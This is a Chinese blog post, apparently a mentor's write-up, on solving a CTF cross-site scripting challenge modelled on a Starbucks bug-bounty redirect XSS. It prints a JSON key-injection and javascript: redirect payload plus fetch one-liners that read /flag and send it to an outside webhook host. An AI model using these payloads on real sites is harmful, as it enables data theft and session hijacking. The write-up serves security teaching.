“勿在浮沙筑高台”|浅谈一道改编自realworld的xss赛题
2023-2-8 08:51:50 Author: 亿人安全(查看原文) 阅读量:24 收藏

Background

这是一道基于17年starbuckXSS Bug Bounty改编而成的CTF题目,由我引导团队内一位来自高中的学弟做出(真的卷,高中就开始玩CTF),从而引发出来的思考和记录,作为本公众号的第一篇技术文章。

内容目录

Part Ⅰ - 通读文件结构 && 简单分析代码Part Ⅱ - How to Xss (1) -- 满足条件Part Ⅲ - How to Xss (2) -- 跳转那点事Part Ⅳ - 收尾的js代码问题Part Ⅴ - 写在最后

Part Ⅰ - 通读文件结构 && 简单分析代码

典型的XSS题目,题目只提供部分源码,我习惯于先看一下bot代码确定flag位置。这类型题目的考点大概分为两大类,一类要求你伪造cookies作为admin访问对应路由,另一类则直接获取cookies flagcookies里面。

bot源码如下:

 1const cookies = [{
2    name'jsession',
3    value'DELETE',
4    domain"127.0.0.1",
5    httpOnly:true
6}];
7
8const bot = async function (url){
9    const URL = parse(url, true)
10    try{
11        const browser = await puppeteer.launch({
12            headlesstrue,
13            args: [
14                '--no-sandbox',
15                '--disable-setuid-sandbox',
16                '--disable-dev-shm-usage'
17            ],
18            dumpiotrue,
19        });
20        page = await browser.newPage('http://127.0.0.1:80');
21        await page.setCookie(...cookies);
22
23        console.log(URL.href)
24        await page.goto(`http://127.0.0.1:80/?blog=${URL.href}`);
25        setTimeout(() => {
26            browser.close();
27        }, 4000);
28    } catch (err) {
29        console.log(`err : ${err}`);
30    }
31}
题目设置httponlytrue,且value值为delete,无法明确是要我们要通过bypass手段,还是参数本身就是delete,这种情况还是继续回归源码。

当看到/flag路由我们就清楚这道题目是需要伪造cookiesadmin,再请求/flag路由,读取flag

Part Ⅱ - How to Xss (1) -- 满足条件

代码除了上面我们截图部分外仅有这一部分了。
 1router.get('/', (req, res) => {
2    const blog = req.query.blog || 'https://xxxx.com';
3    const user = JSON.parse(`{"username":"Tester", "setblog":"${blog}"}`);
4    const url = parse(user['setblog'], true)
5    , hostname = url.hostname;
6
7    if (hostname === 'xxx.com' && user['username'] === 'hello') {
8        console.log(1)
9        res.render('index', {url:url});
10    } else {
11        res.render('index', {url:'#'});
12    }
13});
然后我和学弟产生了如下对话:
1学弟: "我知道关键是要走到这行代码 `res.render('index', {url:url});`,但是具体咋做不太懂。"
2我: "我知道你急,但你先别急,你先看上面哪些函数是你见过的,你也打一个多月CTF了。"
3学弟: "JSON.parse!可以原型链污染!"
4我: "啊...?"
首先学弟向我展示出了一个赛棍的敏感,当JSON.parse参数可控他立刻就想到了原型链污染,但首先要明确原型链污染构成的条件,是要控制类的原型。JSON.parse能把__proto__认为成一个键名,所以在如果有mergecopy这类函数进行操作配合JSON.parse才能进行原型链污染。而且原型链污染要干嘛问他也是一问三不知,所以我引导他看JSON.parse和判断条件。
“另外作为一个安全从业者,闭合的思想非常重要,如果json中出现两个相同的键名会怎样呢?”
学弟很快Get到了我的意思,构造出了如下字符串:","username":"hello

这样就可以达到控制username值,那我们输入正常的url,就是上面的xxx.com,然后输出调试一下。

可以看到url_parse的结果,能够控制hostxxx.com,但是render url后又会怎么样呢?我们可以去看靶机。

“可以看到这里面会进行一个跳转,我们现在只能跳转到xxx.com该怎么办呢?”
学弟在探索了url-parse的解析手册和一些ssrf查看的手法后告诉我一无所获…

Part Ⅲ - How to Xss (2) -- 跳转那点事

“拿到跳转能进行xss吗?” 我继续用问题引导学弟。
1学弟: "我搜了下 `javascript:alert(1)` 我刚把他忘了,javascript也是协议啊!javascript://alert(1)这样是可以的,如果有host我又蒙了...
2我: "建议你去搜索一下bug bounty,这道题目的设计就是基于某个redirect xss的。"
很快他通过我提供的redirect xss找到了hacker-one星巴克的一个洞。

很快,他就自信的说他明白了,构造了对应payload

换行执行xss,发生在很多可以跳转本站链接中,没多久他又说:“不行,执行不了。”

给我看了报错信息,很清楚看到是json传参的错误,我继续问他:“那么什么符号导致的?”。
他在这儿陷入了僵局,而我并不打算给他任何提示,毕竟是一个很容易思考发现的报错,一个小时后他才终于恍然大悟:“原来可以对%0a再编一次码”。但实际上使用编码,比如unicode,也是完全可以的,最后他成功获得了xss

javascript://xxx.com/%250Aalert(1)","username":"hello

到这里我们可以来梳理下思路,题目主要考查的是open redirect xss通过JSON.parse解析中的闭合修改username,关键在于能否敏锐捕捉到javascript协议。

其中他经历的挫折很大程度上是以下几点:1. 懒,没多本地调试更没有多思考;2. 没有充分利用搜索引擎,如果他了解一些比较大的payload网站比如hacktricks他会很轻松寻找到答案。

Part Ⅳ - 收尾的js代码问题

最后我问他接下来你知道怎么做了吧?他说:“easy!我直接用hackbar生成一个!”

1fetch(`/flag`).then(t=>t.text()).then(t=>location=`https://webhook/?f=`+encodeURIComponent(t))
倒是突出了一个优雅,但是这道题没法使用箭头函数,我就让他正常写函数,效果一样,但他说不会…
1fetch(`/flag`).then(function(response){return response.text();}).then(function(data){return fetch(`https://webhook.site/xx?flag=${encodeURIComponent(data)}`);});
这有啥难的,把箭头改写成正常函数return就可以了。

Part Ⅴ - 写在最后

这种RealWorld改写的CTF题目含金量比较高,也不是很难,自己尝试调试思考,才是学习安全脚踏实力的唯一方法!

关于我们

我们是一群对技术有着狂热执着的人,期待与您的合作。

文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&mid=2247503727&idx=2&sn=b2c1193279c3a7c0b13d9c87b97424ea&chksm=c2d70477f5a08d61df1449ebb0003458fce11cf804f52cb7a3e222dfe44f0a902ebe5fc364b8#rd
如有侵权请联系:admin#unsafe.sh